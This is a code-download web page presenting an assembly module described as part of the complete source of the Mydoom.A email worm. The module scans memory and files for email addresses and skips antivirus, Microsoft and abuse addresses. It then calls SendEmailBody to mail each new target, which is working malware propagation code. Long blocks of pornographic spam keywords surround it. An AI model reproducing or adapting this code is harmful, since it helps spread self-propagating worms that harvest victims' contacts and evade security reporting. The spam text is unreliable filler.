亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? emailscanner.asm

?? 蠕蟲mydoom.a版本的完整源代碼
?? ASM
字號:
; Email scanner module, scans emails in memory or files
; -----------------------------------------------------

.data
        szEmailExclude  db      "@hotmail",0,"@msn",0,"@microsoft",0,"rating@",0,"f-secur",0,"news",0,"update",0
                        db      "anyone@",0,"bugs@",0,"contract@",0,"feste",0,"gold-certs@",0,"help@",0,"info@",0,"nobody@",0,"noone@",0
                        db      "kasp",0,"admin",0,"icrosoft",0,"support",0,"ntivi",0,"unix",0,"bsd",0,"linux",0,"listserv",0,"certific",0
                        db      "sopho",0,"@foo",0,"@iana",0,"free-av",0,"@messagelab",0,"winzip",0,"google",0,"winrar",0,"samples",0
                        db      "abuse",0,"panda",0,"cafee",0,"spam",0,"pgp",0,"@avp.",0,"noreply",0,"local",0,"root@",0,"postmaster@",0,0

.data?
        lpHashTable     dd      ?
        PrevEmail       db      1024 dup(?)

.code

EmailScanLeft proc uses esi ebx min: DWORD
        mov     ebx, esi
        dec     esi
        dec     esi
        mov     cl, 1
        std
@loop:
        .IF     esi >= min
                lodsb
                .IF     ((al >= '0') && (al <= '9')) || ((al >= 'A') && (al <= 'Z')) || ((al >= 'a') && (al <= 'z')) || (al == '.') || (al == '_') || (al == '-') || ((al == 0) && (cl != 0))
                        mov     ebx, esi
                        inc     ebx
                        mov     cl, al
                        jmp     @loop
                .ENDIF
        .ENDIF        
        cld
        mov     eax, ebx
        ret
EmailScanLeft endp

EmailScanRight proc uses esi ebx max: DWORD
        mov     ebx, esi
        cld
        mov     cl, 1
@loop:
        .IF     esi < max
                lodsb
                .IF     ((al >= '0') && (al <= '9')) || ((al >= 'A') && (al <= 'Z')) || ((al >= 'a') && (al <= 'z')) || (al == '.') || (al == '_') || (al == '-') || ((al == 0) && (cl != 0))
                        mov     ebx, esi
                        mov     cl, al
                        jmp     @loop
                .ENDIF
        .ENDIF        
        mov     eax, ebx
        ret
EmailScanRight endp

EmailCheckLeft proc A, B: DWORD
        mov     eax, B
        sub     eax, A
        cmp     eax, 2
        jl      @check_false
        mov     eax, 1
        ret
@check_false:
        xor     eax, eax
        ret
EmailCheckLeft endp

EmailCheckRight proc A, B: DWORD
        invoke  StrRChr, A, NULL, '.'
        .IF     eax
                invoke  lstrlen, eax
                .IF     eax <= 2
                        xor     eax, eax
                .ELSE
                        mov     eax, 1
                .ENDIF
        .ENDIF
        ret
EmailCheckRight endp

; Harvest emails in memory
EmailScanMem proc uses esi edi ebx lpMem, dwLen, AddFunc: DWORD
        LOCAL   min, max: DWORD
        LOCAL   len: DWORD
        LOCAL   copy[500]: BYTE

        mov     len, 0

        mov     esi, lpMem
        mov     min, esi
        m2m     max, dwLen
        add     max, esi

@loop3:
        .IF     esi < max
                inc     len
                .IF     len == 10000
                        invoke Sleep, 1
                        mov     len, 0
                .ENDIF
                cld
                lodsb
                .IF     al == '@'
                        push    esi
                        
                        ; Get left offset
                        invoke  EmailScanLeft, min
                        mov     ebx, eax

                        ; Get right offset
                        invoke  EmailScanRight, max

                        ; Delta offset (length)
                        mov     ecx, eax
                        sub     ecx, ebx
                        .IF     (ecx < 500) && (ecx > 5)
                                cld
                                mov     esi, ebx
                                lea     edi, copy
                                xor     edx, edx

                        @eml_cpy:
                                lodsb
                                .IF     al
                                        stosb
                                        .IF     al == '@'
                                                mov     edx, edi
                                        .ENDIF
                                .ENDIF
                                loop    @eml_cpy

                                ; Write NULL
                                xor     eax, eax
                                stosb

                                .IF     edx
                                        push    edx
                                        invoke  lstrlen, addr copy
                                        pop     edx
                                        .IF     eax > 5
                                                invoke  EmailCheckLeft, addr copy, edx
                                                mov     ebx, eax
                                                invoke  EmailCheckRight, edx, edi
                                                and     ebx, eax

                                                .IF     ebx
                                                        lea     eax, copy
                                                        push    eax
                                                        call    AddFunc
                                                .ENDIF
                                        .ENDIF
                                .ENDIF

                        .ENDIF
                        pop     esi
                .ENDIF
                jmp     @loop3
        .ENDIF

        ret
EmailScanMem endp

; Harvest emails from szFileName
EmailScanFile proc uses ebx szFileName, AddFunc: DWORD
        LOCAL   hFile, dwFileSize: DWORD

        invoke  CreateFile, szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, 0
        mov     hFile, eax
        inc     eax
        jz      @file_open_error
        invoke  GetFileSize, hFile, 0
        mov     dwFileSize, eax
        inc     eax
        jz      @file_open_close
        invoke  CreateFileMapping, hFile, NULL, PAGE_READONLY, 0, 0, NULL
        .IF     eax
                mov     ebx, eax
                invoke  MapViewOfFile, eax, FILE_MAP_READ, 0, 0, 0
                .IF     eax
                        push    eax
                        invoke  EmailScanMem, eax, dwFileSize, AddFunc
                        call    UnmapViewOfFile
                .ENDIF
                invoke  CloseHandle, ebx
        .ENDIF
@file_open_close:
        invoke  CloseHandle, hFile
@file_open_error:
        ret
EmailScanFile endp

; Initialize scanner, should be called first
EmailScanInit proc
        invoke  HashTableInit, offset lpHashTable, 5000
        lea     eax, PrevEmail
        mov     byte ptr[eax], 0
        ret
EmailScanInit endp

; Returns 0 if email should be excluded
CheckEmailExclude proc uses edi szEmail: DWORD
        mov     edi, offset szEmailExclude

@next:
        invoke  StrStrI, szEmail, edi
        .IF     eax
                xor     eax, eax
                ret
        .ENDIF

        mNextListEntry @next

        mov     eax, 1
        ret
CheckEmailExclude endp

EmailAddToQueue proc szEmail: DWORD
        invoke  CheckEmailExclude, szEmail
        .IF     !eax
                ret
        .ENDIF
        invoke  CalcStrHash, szEmail
        invoke  HashTableAdd, offset lpHashTable, 5000, eax
        .IF     eax
                lea     eax, PrevEmail
                .IF     byte ptr[eax]
                        invoke  SendEmailBody, eax, szEmail
                .ELSE
                        invoke  SendEmailBody, szEmail, szEmail
                .ENDIF
                ; Set prev email
                invoke  lstrcpy, offset PrevEmail, szEmail
        .ENDIF
        ret
EmailAddToQueue endp

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
在线亚洲一区观看| 中文字幕欧美一| 亚洲精品美腿丝袜| 男女男精品视频| 色欧美片视频在线观看 | 91黄色在线观看| 欧美精品一区二区精品网| 亚洲色图第一区| 国产精品白丝av| 欧美一区二区三区啪啪| 一区二区三区四区亚洲| 国产乱理伦片在线观看夜一区| 欧美三级欧美一级| 国产精品久久一卡二卡| 久久成人羞羞网站| 欧美日韩在线免费视频| 亚洲天堂精品在线观看| 国产一区二区三区av电影| 欧美日韩电影在线播放| 亚洲另类在线制服丝袜| a亚洲天堂av| 久久亚洲精品国产精品紫薇| 热久久免费视频| 欧美日韩中文国产| 有坂深雪av一区二区精品| eeuss鲁一区二区三区| 久久伊人中文字幕| 精品一区二区久久久| 欧美一级免费大片| 爽爽淫人综合网网站| 欧美日韩一区二区电影| 亚洲一区二区三区中文字幕| 在线视频中文字幕一区二区| 亚洲男人的天堂一区二区| 91视频在线观看| 亚洲欧洲成人自拍| 99精品在线观看视频| 中文字幕高清不卡| 不卡区在线中文字幕| 综合自拍亚洲综合图不卡区| 成人精品一区二区三区四区| 中文字幕一区在线| 99国内精品久久| 亚洲精品乱码久久久久久久久| 色综合久久中文字幕综合网 | 亚洲在线视频网站| 欧美亚洲国产一卡| 日韩经典一区二区| 精品久久久久久久久久久久包黑料 | 欧美日韩国产大片| 日韩电影在线一区| 精品日韩欧美一区二区| 国产不卡视频在线观看| ...中文天堂在线一区| 欧美最猛性xxxxx直播| 性久久久久久久久久久久| 91麻豆精品91久久久久同性| 美女脱光内衣内裤视频久久网站| 欧美一卡二卡三卡| 国产精品白丝jk黑袜喷水| 国产精品国产三级国产| 欧美性感一区二区三区| 老司机一区二区| 国产精品毛片久久久久久| 在线观看一区二区精品视频| 男女男精品网站| 日韩毛片一二三区| 日韩三级高清在线| av在线不卡观看免费观看| 亚洲午夜国产一区99re久久| 日韩欧美区一区二| 91美女蜜桃在线| 麻豆精品久久精品色综合| 国产精品美女久久久久久久久久久 | 一区二区三区在线免费播放| 91精品国产综合久久福利| 懂色一区二区三区免费观看| 五月婷婷久久丁香| 国产女人18毛片水真多成人如厕| 91豆麻精品91久久久久久| 国内一区二区视频| 亚洲国产一区在线观看| 久久久亚洲高清| 欧美日韩高清一区二区不卡| 国产一区二区美女诱惑| 亚洲精品成人精品456| 在线播放亚洲一区| 国产a级毛片一区| 日韩欧美在线网站| 99精品一区二区| 美女视频黄频大全不卡视频在线播放| 2021久久国产精品不只是精品| 99久久精品免费观看| 麻豆视频观看网址久久| 亚洲国产高清aⅴ视频| 欧美精品xxxxbbbb| 91在线丨porny丨国产| 亚洲国产精品麻豆| 国产欧美一区二区三区鸳鸯浴| 欧美日韩亚洲综合一区二区三区| 亚洲一区二区三区中文字幕| 国产精品久久久久久久午夜片| 欧美久久久一区| caoporm超碰国产精品| 国产一区二区三区精品视频| 丝瓜av网站精品一区二区| 中文字幕一区二区三区在线不卡| 日韩欧美色电影| 精品视频资源站| 91小视频在线观看| 91在线国内视频| 国产激情精品久久久第一区二区 | 91精品国产综合久久精品图片| 成人黄色国产精品网站大全在线免费观看| 亚洲国产视频a| 自拍偷在线精品自拍偷无码专区| 精品黑人一区二区三区久久| 欧美性三三影院| 一本到三区不卡视频| 国产成人aaaa| 国产美女av一区二区三区| 日韩av一区二| 国产精品久久久久久久久晋中| 日韩欧美一区在线观看| 欧美疯狂做受xxxx富婆| 欧美三级一区二区| 91久久精品日日躁夜夜躁欧美| av在线不卡免费看| 9久草视频在线视频精品| 成人一级黄色片| 国产黄色成人av| 波多野结衣视频一区| 国产91在线看| 国产成人精品亚洲日本在线桃色| 国产乱码精品一区二区三区五月婷 | 日本特黄久久久高潮| 日韩av中文在线观看| 亚洲国产wwwccc36天堂| 一区二区三区在线免费视频| 亚洲成人av福利| 日本人妖一区二区| 激情综合色丁香一区二区| 人妖欧美一区二区| 精品无人区卡一卡二卡三乱码免费卡| 精品在线一区二区三区| 国产原创一区二区三区| 国产一区二区免费在线| 高清在线观看日韩| 97国产一区二区| 91丨九色porny丨蝌蚪| 欧美日韩一卡二卡三卡| 日韩欧美国产综合一区| 久久新电视剧免费观看| 国产三级精品三级在线专区| 亚洲视频你懂的| 亚洲精品第一国产综合野| 久久黄色级2电影| 国产精品资源在线| 91片黄在线观看| 欧美精品色一区二区三区| 精品第一国产综合精品aⅴ| 欧美韩国日本不卡| 一个色在线综合| 日本午夜精品视频在线观看| 国产精品12区| 99久久精品免费看| 26uuu精品一区二区三区四区在线| 欧美国产日韩在线观看| 亚洲大型综合色站| 国产揄拍国内精品对白| 色综合 综合色| 欧美精品一区男女天堂| 中文字幕一区二区三区色视频 | 午夜电影网亚洲视频| 国产成人精品免费在线| 欧美日韩精品一区二区三区蜜桃 | 日韩女优制服丝袜电影| 尤物av一区二区| 激情另类小说区图片区视频区| 成人免费观看视频| 日韩一区二区电影在线| 亚洲欧洲国产日韩| 久久精品国产久精国产| 色素色在线综合| 久久嫩草精品久久久精品| 亚洲免费观看高清完整版在线| 欧美aaaaa成人免费观看视频| 99视频在线精品| 26uuu成人网一区二区三区| 国产精品久久久久久久久图文区| 极品销魂美女一区二区三区| 欧美综合亚洲图片综合区| 国产亚洲一区二区三区| 视频在线观看一区二区三区| 国产超碰在线一区| 另类专区欧美蜜桃臀第一页| 国产欧美一区二区三区网站 | 91在线精品一区二区| 日韩欧美在线观看一区二区三区| 国产精品私房写真福利视频|